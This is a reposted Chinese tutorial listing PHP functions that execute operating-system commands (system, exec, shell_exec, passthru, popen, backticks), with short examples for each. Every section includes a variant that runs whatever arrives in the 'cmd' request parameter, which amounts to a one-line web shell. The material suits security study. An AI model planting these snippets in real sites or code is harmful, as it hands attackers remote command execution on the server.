PHP 危险函数1

编程入门 行业动态 更新时间:2024-10-22 17:30:38

PHP 危险<a href=https://www.elefans.com/category/jswz/34/1771370.html style=函数1"/>

PHP 危险函数1

OS 命令执行函数

system 函数

  • 特点:

    • 自带输出功能
    • 自动区分系统平台,只需得知目标系统在 system() 中输入对应系统的命令即可
  • 使用

    <?phpsystem("<系统命令>");  
    ?>
    

    <pre>
    <?phpsystem("ipconfig");  
    ?>
    

  • 动态执行命令

    <pre>
    <?php$cmd = $_REQUEST['cmd'];system($cmd);  
    ?>
    

exec 函数

  • 特点:

    • 不自带输出,需要手动输出
    • 只能输出命令执行的最后一行,几乎没有回显
  • 使用

    <?phpexec("<系统命令>");  // 输出需手动
    ?>
    
  • <?phpexec("ipconfig");  // 输出需手动
    ?>
    

    不自动回显,但执行

  • 回显(只有最后一行)

    <?phpecho exec("ipconfig");  
    ?>
    

  • 动态执行命令

    <?php$cmd=$_REQUEST['cmd'];echo exec($cmd);?>
    

shell_exec 函数

  • 需要手动输出命令执行结果。

  • 使用

    <?phpshell_exec("<命令>");?>
    
  • 示例

    <?php$cmd=$_REQUEST['cmd'];echo shell_exec($cmd);?>
    

passthru 函数

  • 自带输出功能。

    <?phppassthru("<命令>");?>
    
  • <?phppassthru("net user");?>
    

  • 动态执行

    <?php$cmd=$_REQUEST['cmd'];echo passthru($cmd);?>
    

popen 函数

  • 在 PHP 中,popen() 函数用于打开一个管道,并返回一个指向该管道的文件指针。允许在 PHP 脚本中执行外部命令或程序,并与其进行交互。

  • 注意,两个参数

    <?phppopen(<命令>,"r");  // read,以读取的方式打开
    ?>
    
  • 示例

    <?php$cmd = $_REQUEST['cmd'];$result = popen($cmd, 'r');echo fread($result, 1024);// fread() 函数从管道中读取最多 1024 字节的输出?>
    

反引号

  • 反引号``内的字符串,会被解析成OS 命令。

  • 不自动输出

  • 使用

    <?php`<命令>`;
    ?>
    
  • 示例

    <?phpecho `whoami`;
    ?>
    

  • 动态执行

    <pre>
    <?php$cmd=$_REQUEST['cmd'];echo `$cmd`;?>
    

更多推荐

PHP 危险函数1

本文发布于:2023-12-03 11:18:37,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1654771.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:函数   危险   PHP

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!